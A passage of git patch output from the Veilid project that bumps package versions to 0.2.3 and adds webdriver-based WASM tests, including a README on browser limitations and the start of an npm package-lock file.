version = "0.5.4", features = ["all"] } # Dependencies for WASM builds only [target.'cfg(target_arch = "wasm32")'.dependencies] -veilid-tools = { version = "0.2.2", path = "../veilid-tools", default-features = false, features = [ +veilid-tools = { version = "0.2.3", path = "../veilid-tools", default-features = false, features = [ "rt-wasm-bindgen", ] } diff --git a/veilid-flutter/pubspec.yaml b/veilid-flutter/pubspec.yaml index edaf48c6..e0dee8a0 100644 --- a/veilid-flutter/pubspec.yaml +++ b/veilid-flutter/pubspec.yaml @@ -1,6 +1,6 @@ # --- Bumpversion match - do not reorder name: veilid -version: 0.2.2 +version: 0.2.3 # --- description: Veilid Framework homepage: https://veilid.com diff --git a/veilid-flutter/rust/Cargo.toml b/veilid-flutter/rust/Cargo.toml index 722d812f..21a3d1ce 100644 --- a/veilid-flutter/rust/Cargo.toml +++ b/veilid-flutter/rust/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-flutter" -version = "0.2.2" +version = "0.2.3" # --- authors = ["Veilid Team "] license = "MPL-2.0" diff --git a/veilid-python/pyproject.toml b/veilid-python/pyproject.toml index a6a96c53..6fd7846f 100644 --- a/veilid-python/pyproject.toml +++ b/veilid-python/pyproject.toml @@ -1,7 +1,7 @@ [tool.poetry] # --- Bumpversion match - do not reorder name = "veilid" -version = "0.2.2" +version = "0.2.3" # --- description = "" authors = ["Veilid Team "] diff --git a/veilid-server/Cargo.toml b/veilid-server/Cargo.toml index ff9a1b65..cedb3834 100644 --- a/veilid-server/Cargo.toml +++ b/veilid-server/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-server" -version = "0.2.2" +version = "0.2.3" # --- description = "Veilid Server" authors = ["Veilid Team "] diff --git a/veilid-tools/Cargo.toml b/veilid-tools/Cargo.toml index 9043dc8a..ea8fd23e 100644 --- a/veilid-tools/Cargo.toml +++ b/veilid-tools/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-tools" -version = "0.2.2" +version = "0.2.3" # --- description = "A collection of baseline tools for Rust development use by Veilid and Veilid-enabled Rust applications" authors = ["Veilid Team "] diff --git a/veilid-wasm/Cargo.toml b/veilid-wasm/Cargo.toml index b857d56a..59e46aa8 100644 --- a/veilid-wasm/Cargo.toml +++ b/veilid-wasm/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-wasm" -version = "0.2.2" +version = "0.2.3" # --- authors = ["Veilid Team "] license = "MPL-2.0" @@ -15,7 +15,7 @@ default = ["veilid-core/default-wasm"] crypto-test = ["veilid-core/crypto-test"] [dependencies] -veilid-core = { version = "0.2.2", path = "../veilid-core", default-features = false } +veilid-core = { version = "0.2.3", path = "../veilid-core", default-features = false } tracing = { version = "^0", features = ["log", "attributes"] } tracing-wasm = "^0" From 40a1c9933c304d19e7fb197304647c5f08ee5958 Mon Sep 17 00:00:00 2001 From: Brandon Vandegrift <798832-bmv437@users.noreply.gitlab.com> Date: Wed, 6 Sep 2023 22:13:05 -0400 Subject: [PATCH 53/86] (wasm) webdriver-based tests for JS/TS apis, update README --- veilid-wasm/README.md | 40 +- veilid-wasm/tests/.gitignore | 2 + veilid-wasm/tests/.npmrc | 1 + veilid-wasm/tests/package-lock.json | 9494 +++++++++++++++++ veilid-wasm/tests/package.json | 23 + veilid-wasm/tests/src/VeilidTable.test.ts | 99 + .../tests/src/utils/marshalling-utils.ts | 45 + veilid-wasm/tests/src/utils/veilid-config.ts | 140 + veilid-wasm/tests/src/utils/wait-utils.ts | 3 + veilid-wasm/tests/src/veilidClient.test.ts | 59 + veilid-wasm/tests/src/veilidCrypto.test.ts | 38 + veilid-wasm/tests/tsconfig.json | 24 + veilid-wasm/tests/vite.config.ts | 5 + veilid-wasm/tests/wdio.conf.ts | 300 + veilid-wasm/tests/web.rs | 218 - veilid-wasm/wasm_setup_check.sh | 41 + veilid-wasm/wasm_test.sh | 18 +- 17 files changed, 10328 insertions(+), 222 deletions(-) create mode 100644 veilid-wasm/tests/.gitignore create mode 100644 veilid-wasm/tests/.npmrc create mode 100644 veilid-wasm/tests/package-lock.json create mode 100644 veilid-wasm/tests/package.json create mode 100644 veilid-wasm/tests/src/VeilidTable.test.ts create mode 100644 veilid-wasm/tests/src/utils/marshalling-utils.ts create mode 100644 veilid-wasm/tests/src/utils/veilid-config.ts create mode 100644 veilid-wasm/tests/src/utils/wait-utils.ts create mode 100644 veilid-wasm/tests/src/veilidClient.test.ts create mode 100644 veilid-wasm/tests/src/veilidCrypto.test.ts create mode 100644 veilid-wasm/tests/tsconfig.json create mode 100644 veilid-wasm/tests/vite.config.ts create mode 100644 veilid-wasm/tests/wdio.conf.ts delete mode 100644 veilid-wasm/tests/web.rs create mode 100755 veilid-wasm/wasm_setup_check.sh diff --git a/veilid-wasm/README.md b/veilid-wasm/README.md index c4ac3045..45528e4f 100644 --- a/veilid-wasm/README.md +++ b/veilid-wasm/README.md @@ -1,6 +1,40 @@ # veilid-wasm -## Notes +This package is a Rust cargo crate the generates WebAssembly (WASM) bindings for `veilid-core::VeilidAPI`, and outputs JavaScript and TypeScript interfaces for calling the WASM module. -- [`wasm_bindgen`](https://rustwasm.github.io/wasm-bindgen/) is used to generate interop code between JavaScript and Rust, as well as basic TypeScript types. -- [`tsify`](https://github.com/madonoharu/tsify) is used to export TypeScript types along-side [`wasm_bindgen`](https://rustwasm.github.io/wasm-bindgen/) and [`serde_wasm_bindgen`](https://github.com/cloudflare/serde-wasm-bindgen), and enables serialization/deserialization. +## Limitations + +Running Veilid in the browser via WebAssembly has some limitations: + +### Browser-based limitaions + +1. TCP/UDP sockets are unavilable in the browser. This limits WASM nodes to communicating using WebSockets. +1. Lookup of DNS records is unavaible in the browser, which means bootstrapping via TXT record also will work. WASM nodes will need to connect to the bootstrap server directly via WebSockets, using this URL format: `ws://bootstrap.veilid.net:5150/ws` in the `network.routing_table.bootstrap[]` section of the veilid config. +1. Since a WASM node running in the browser can't open ports, WASM nodes select another node to act as it's Inbound Relay, so other nodes can react out to it and open a WS connection. +1. Because of browser security policy regarding WebSockets: + 1. `ws://` only works on `http://` sites + 1. `wss://` only works on `https://` site with SSL certificates. + +### Running WASM on HTTPS sites [Not currently implemented] + +Since WSS connections require WSS peers with valid SSL certificates, `veilid-core` plans to implment a feature called Outbound Relays. Outbound Relays will likely be hosted by the same host of the WASM web-app, and must run have valid SSL certificates that are signed by a Certificate Authority that's trusted by browsers. Outbound Relays will allow WASM nodes to communicate to other nodes over TCP/UDP/WS/WSS through the Outbound Relay's connection. + +## Running unit tests + +Prerequsites: + +- NodeJS - ensure `node` and `npm` are installed. +- Firefox browser installed, and available as `firefox`. + +Run the test script: + +- `./wasm_test.sh` to test with debug symbols. +- `./wasm_test.sh release` to test against a release build. + +## Development notes + +### Important cargo crates and their functions + +- [`wasm-bindgen`](https://rustwasm.github.io/wasm-bindgen/) is used to generate interop code between JavaScript and Rust, as well as basic TypeScript types. +- [`tsify`](https://github.com/madonoharu/tsify) is used to export TypeScript types in places where `wasm-bindgen` runs into limitations, or in places where you don't need the mappings that `wasm-bindgen` generates. +- [`serde-wasm-bindgen`](https://github.com/cloudflare/serde-wasm-bindgen) enables serialization/deserialization. diff --git a/veilid-wasm/tests/.gitignore b/veilid-wasm/tests/.gitignore new file mode 100644 index 00000000..62b8e8fd --- /dev/null +++ b/veilid-wasm/tests/.gitignore @@ -0,0 +1,2 @@ +node_modules +veilid-wasm-pkg \ No newline at end of file diff --git a/veilid-wasm/tests/.npmrc b/veilid-wasm/tests/.npmrc new file mode 100644 index 00000000..4fd02195 --- /dev/null +++ b/veilid-wasm/tests/.npmrc @@ -0,0 +1 @@ +engine-strict=true \ No newline at end of file diff --git a/veilid-wasm/tests/package-lock.json b/veilid-wasm/tests/package-lock.json new file mode 100644 index 00000000..eccf839c --- /dev/null +++ b/veilid-wasm/tests/package-lock.json @@ -0,0 +1,9494 @@ +{ + "name": "veilid-wasm-tests", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "veilid-wasm-tests", + "devDependencies": { + "@wdio/browser-runner": "^8.16.4", + "@wdio/cli": "^8.16.4", + "@wdio/mocha-framework": "^8.16.3", + "@wdio/spec-reporter": "^8.16.3", + "ts-node": "^10.9.1", + "typescript": "^5.2.2", + "veilid-wasm": "file:../pkg", + "vite-plugin-wasm": "^3.2.2" + }, + "engines": { + "node": ">=18" + } + }, + "../pkg": { + "name": "veilid-wasm", + "version": "0.2.3", + "dev": true, + "license": "MPL-2.0" + }, + "node_modules/@ampproject/remapping": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.1.tgz", + "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==", + "dev": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.22.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.22.13.tgz", + "integrity": "sha512-XktuhWlJ5g+3TJXc5upd9Ks1HutSArik6jf2eAjYFyIOf4ej3RN+184cZbzDvbPnuTJIUhPKKJE3cIsYTiAT3w==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.22.13", + "chalk": "^2.4.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/code-frame/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/code-frame/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/code-frame/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.22.9.tgz", + "integrity": "sha512-5UamI7xkUcJ3i9qVDS+KFDEK8/7oJ55/sJMB1Ge7IEapr7KfdfV/HErR+koZwOfd+SgtFKOKRhRakdg++DcJpQ==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.22.15.tgz", + "integrity": "sha512-PtZqMmgRrvj8ruoEOIwVA3yoF91O+Hgw9o7DAUTNBA6Mo2jpu31clx9a7Nz/9JznqetTR6zwfC4L3LAjKQXUwA==", + "dev": true, + "dependencies": { + "@ampproject/remapping": "^2.2.0", + "@babel/code-frame": "^7.22.13", + "@babel/generator": "^7.22.15", + "@babel/helper-compilation-targets": "^7.22.15", + "@babel/helper-module-transforms": "^7.22.15", + "@babel/helpers": "^7.22.15", + "@babel/parser": "^7.22.15", + "@babel/template": "^7.22.15", + "@babel/traverse": "^7.22.15", + "@babel/types": "^7.22.15", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/core/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/generator": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.22.15.tgz", + "integrity": "sha512-Zu9oWARBqeVOW0dZOjXc3JObrzuqothQ3y/n1kUtrjCoCPLkXUwMvOo/F/TCfoHMbWIFlWwpZtkZVb9ga4U2pA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.15", + "@jridgewell/gen-mapping": "^0.3.2", + "@jridgewell/trace-mapping": "^0.3.17", + "jsesc": "^2.5.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.22.5.tgz", + "integrity": "sha512-LvBTxu8bQSQkcyKOU+a1btnNFQ1dMAd0R6PyW3arXes06F6QLWLIrd681bxRPIXlrMGR3XYnW9JyML7dP3qgxg==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.22.15.tgz", + "integrity": "sha512-y6EEzULok0Qvz8yyLkCvVX+02ic+By2UdOhylwUOvOn9dvYc9mKICJuuU1n1XBI02YWsNsnrY1kc6DVbjcXbtw==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.22.9", + "@babel/helper-validator-option": "^7.22.15", + "browserslist": "^4.21.9", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets/node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/@babel/helper-compilation-targets/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-compilation-targets/node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true + }, + "node_modules/@babel/helper-create-class-features-plugin": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.22.15.tgz", + "integrity": "sha512-jKkwA59IXcvSaiK2UN45kKwSC9o+KuoXsBDvHvU/7BecYIp8GQ2UwrVvFgJASUT+hBnwJx6MhvMCuMzwZZ7jlg==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-member-expression-to-functions": "^7.22.15", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.9", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-environment-visitor": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.5.tgz", + "integrity": "sha512-XGmhECfVA/5sAt+H+xpSg0mfrHq6FzNr9Oxh7PSEBBRUb/mL7Kz3NICXb194rCqAEdxkhPT1a88teizAFyvk8Q==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-function-name": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.22.5.tgz", + "integrity": "sha512-wtHSq6jMRE3uF2otvfuD3DIvVhOsSNshQl0Qrd7qC9oQJzHvOL4qQXlQn2916+CXGywIjpGuIkoyZRRxHPiNQQ==", + "dev": true, + "dependencies": { + "@babel/template": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-hoist-variables": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz", + "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-member-expression-to-functions": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.22.15.tgz", + "integrity": "sha512-qLNsZbgrNh0fDQBCPocSL8guki1hcPvltGDv/NxvUoABwFq7GkKSu1nRXeJkVZc+wJvne2E0RKQz+2SQrz6eAA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.15" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.22.15.tgz", + "integrity": "sha512-0pYVBnDKZO2fnSPCrgM/6WMc7eS20Fbok+0r88fp+YtWVLZrp4CkafFGIp+W0VKw4a22sgebPT99y+FDNMdP4w==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.15" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.22.15.tgz", + "integrity": "sha512-l1UiX4UyHSFsYt17iQ3Se5pQQZZHa22zyIXURmvkmLCD4t/aU+dvNWHatKac/D9Vm9UES7nvIqHs4jZqKviUmQ==", + "dev": true, + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-module-imports": "^7.22.15", + "@babel/helper-simple-access": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/helper-validator-identifier": "^7.22.15" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-optimise-call-expression": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.22.5.tgz", + "integrity": "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz", + "integrity": "sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-replace-supers": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.22.9.tgz", + "integrity": "sha512-LJIKvvpgPOPUThdYqcX6IXRuIcTkcAub0IaDRGCZH0p5GPUp7PhRU9QVgFcDDd51BaPkk77ZjqFwh6DZTAEmGg==", + "dev": true, + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-member-expression-to-functions": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-simple-access": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.22.5.tgz", + "integrity": "sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.22.5.tgz", + "integrity": "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-split-export-declaration": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz", + "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.22.5.tgz", + "integrity": "sha512-mM4COjgZox8U+JcXQwPijIZLElkgEpO5rsERVDJTc2qfCDfERyob6k5WegS14SX18IIjv+XD+GrqNumY5JRCDw==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.15.tgz", + "integrity": "sha512-4E/F9IIEi8WR94324mbDUMo074YTheJmd7eZF5vITTeYchqAi6sYXRLHUVsmkdmY4QjfKTcB2jB7dVP3NaBElQ==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.22.15.tgz", + "integrity": "sha512-bMn7RmyFjY/mdECUbgn9eoSY4vqvacUnS9i9vGAGttgFWesO6B4CYWA7XlpbWgBt71iv/hfbPlynohStqnu5hA==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.22.15.tgz", + "integrity": "sha512-7pAjK0aSdxOwR+CcYAqgWOGy5dcfvzsTIfFTb2odQqW47MDfv14UaJDY6eng8ylM2EaeKXdxaSWESbkmaQHTmw==", + "dev": true, + "dependencies": { + "@babel/template": "^7.22.15", + "@babel/traverse": "^7.22.15", + "@babel/types": "^7.22.15" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.22.13", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.22.13.tgz", + "integrity": "sha512-C/BaXcnnvBCmHTpz/VGZ8jgtE2aYlW4hxDhseJAWZb7gqGM/qtCK6iZUb0TyKFf7BOUsBH7Q7fkRsDRhg1XklQ==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.22.5", + "chalk": "^2.4.2", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.22.16", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.22.16.tgz", + "integrity": "sha512-+gPfKv8UWeKKeJTUxe59+OobVcrYHETCsORl61EmSkmgymguYk/X5bp7GuUIXaFsc6y++v8ZxPsLSSuujqDphA==", + "dev": true, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-proposal-class-properties": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz", + "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-class-properties instead.", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/template": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.22.15.tgz", + "integrity": "sha512-QPErUVm4uyJa60rkI73qneDacvdvzxshT3kksGqlGWYdOTIUOwJ7RDUL8sGqslY1uXWSL6xMFKEXDS3ox2uF0w==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.22.13", + "@babel/parser": "^7.22.15", + "@babel/types": "^7.22.15" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.22.15.tgz", + "integrity": "sha512-DdHPwvJY0sEeN4xJU5uRLmZjgMMDIvMPniLuYzUVXj/GGzysPl0/fwt44JBkyUIzGJPV8QgHMcQdQ34XFuKTYQ==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.22.13", + "@babel/generator": "^7.22.15", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/parser": "^7.22.15", + "@babel/types": "^7.22.15", + "debug": "^4.1.0", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.22.15.tgz", + "integrity": "sha512-X+NLXr0N8XXmN5ZsaQdm9U2SSC3UbIYq/doL++sueHOTisgZHoKaQtZxGuV2cUPQHMfjKEfg/g6oy7Hm6SKFtA==", + "dev": true, + "dependencies": { + "@babel/helper-string-parser": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.15", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": 